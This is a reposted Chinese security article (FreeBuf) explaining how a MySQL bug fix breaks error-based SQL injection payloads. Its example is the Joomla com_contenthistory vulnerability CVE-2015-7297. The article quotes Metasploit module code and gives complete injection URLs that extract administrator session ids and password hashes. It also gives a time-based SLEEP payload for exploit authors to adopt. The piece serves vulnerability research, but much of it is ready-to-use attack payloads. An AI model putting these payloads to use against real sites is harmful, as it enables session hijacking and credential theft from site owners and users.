你的PoC和EXP可能得改改了
2019-07-26 09:00:42 Author: www.freebuf.com(查看原文) 阅读量:115 收藏

一、前言

在MySQL 5.7.5之前的所有主版本存在一个BUG,该可能导致影响POC/EXP需要重新编写或修正的问题。 

BUG信息链接:

https://bugs.mysql.com/bug.php?id=58081

二、问题说明

在BUG说明中,可以通过以下SQL语句复现:

set names latin1;
drop table if exists t1;
create table t1(a int) engine=myisam;
insert into t1 values (0),(0),(1),(0),(0);
select count(*) from t1, t1 t2 group by insert('', t2.a, t1.a,(@@global.max_binlog_size));

MySQL版本低于5.7.5中,执行以上SQL语句,会报如下错误:

Duplicate entry '107374182410737418241' for key 'group_key'

三、POC/EXP影响分析

3.1 原因分析

一般报错性SQL注入POC或EXP编写的时候,POC/EXP编写思路是通过SQL语句执行某个语句让WEB APP将报错(包含要执行的SQL语句查询结果)信息打印出来。

Joomla__APP__SQL_Injection__CVE_2015_7297这个漏洞为例:
在Joomla 3.4.4b版本对应com_contenthistory组件的视图文件/administrator/components/com_contenthistory/views/history/view.html.php中:

if (count($errors = $this->get('Errors')))
{
JError::raiseError(500, implode("\n", $errors));

return false;
}

出现SQL语句查询SQL语句查询错误时,会将关键报错信息打印出来。

因此这也导致在MetaSploit 框架中,对应利用模块:

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb

77行定义的sqli利用函数中,通过报错方法让Joomla将错误信息打印出来:

def sqli( tableprefix )

# SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
# The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
# This way we make sure that's excluded and we only get real admin sessions.

sql = " (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id "

# Retrieve cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "index.php"),
'vars_get' => {
'option' => 'com_contenthistory',
'view' => 'history',
'list[ordering]' => '',
'item_id' => '1',
'type_id' => '1',
'list[select]' => sql
}
})

通过MySQL查询日志,可以看到MSF执行sqli获取已登录的超级管理员用户的session_id(即身份令牌Cookie)时。执行SQL语句为:

SELECT  (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from `u6egd_session` WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id ,uc.name AS editor
FROM `u6egd_ucm_history` AS h
LEFT JOIN u6egd_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`

注意:

u6egd只是表前缀,不同环境下会变化。

该SQL语句真实执行后,报的错误如下:

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

因此,我们可构造对应的Payload:

/index.php?option=com_contenthistory&view=history&list[select]=(select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from %23__session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id

期望响应含有已登陆超级管理员的session_id(即身份令牌Cookie):

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

我们在MySQL 8.0版本中,看到没有报错了:

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

3.2 实际修复情况

PHP 5.6.40mysql Ver 14.14 Distrib 5.7.26环境下,我们发现官方所谓的修复宣称并不准确:

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

可以看到,MySQL低于5.7.5的部分小版本已经修复了(5.7.5应该是彻底修复,小版本可能还有其他Bug),通过MySQL官方信息:

https://bugs.mysql.com/bug.php?id=90398

才看到已经在5.7.5彻底修复。但在最后又说明MySQL 5.7.27 and 8.0.17修复,这就有点尴尬了…

3.3 POC与EXP编写影响

通过实际环境分析,在PHP 5.6.40mysql Ver 14.14 Distrib 5.7.26Joomla 3.4.4环境下进行漏洞复现,使用同一个Payload利用无法获取到对应数据了:
Payload:

index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(*),concat((select password from %23__users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x)

在后台MySQL日志看到的查询语句为:

SELECT (select 1 from (select count(*),concat((select password from sb2ah_users limit 0,1),floor(rand(0)*2)) from information_schema.tables group by 2)x),uc.name AS editor
FROM `sb2ah_ucm_history` AS h
LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`

真实执行时,发现返回空数据了:

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

因此,在实际编写对应的Joomla漏洞POC或EXP时,需同时采用基于时间注入方式进行注入判断与利用。
如Payload:

index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(SELECT 8533 FROM (SELECT(SLEEP(5)))x)

对应MySQL查询日志

SELECT (SELECT 8533 FROM (SELECT(SLEEP(5)))x),uc.name AS editor
FROM `sb2ah_ucm_history` AS h
LEFT JOIN sb2ah_users AS uc ON uc.id = h.editor_user_id
WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1
ORDER BY `h`.`save_date`

对比时间差来判断与利用:

6.png

640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=

也就是说,你的POC、EXP是时候需要改改了,拿来主义这时候行不通!

*本文作者:麒麟安全实验室,转载请注明来自FreeBuf.COM


文章来源: https://www.freebuf.com/articles/web/207998.html
如有侵权请联系:admin#unsafe.sh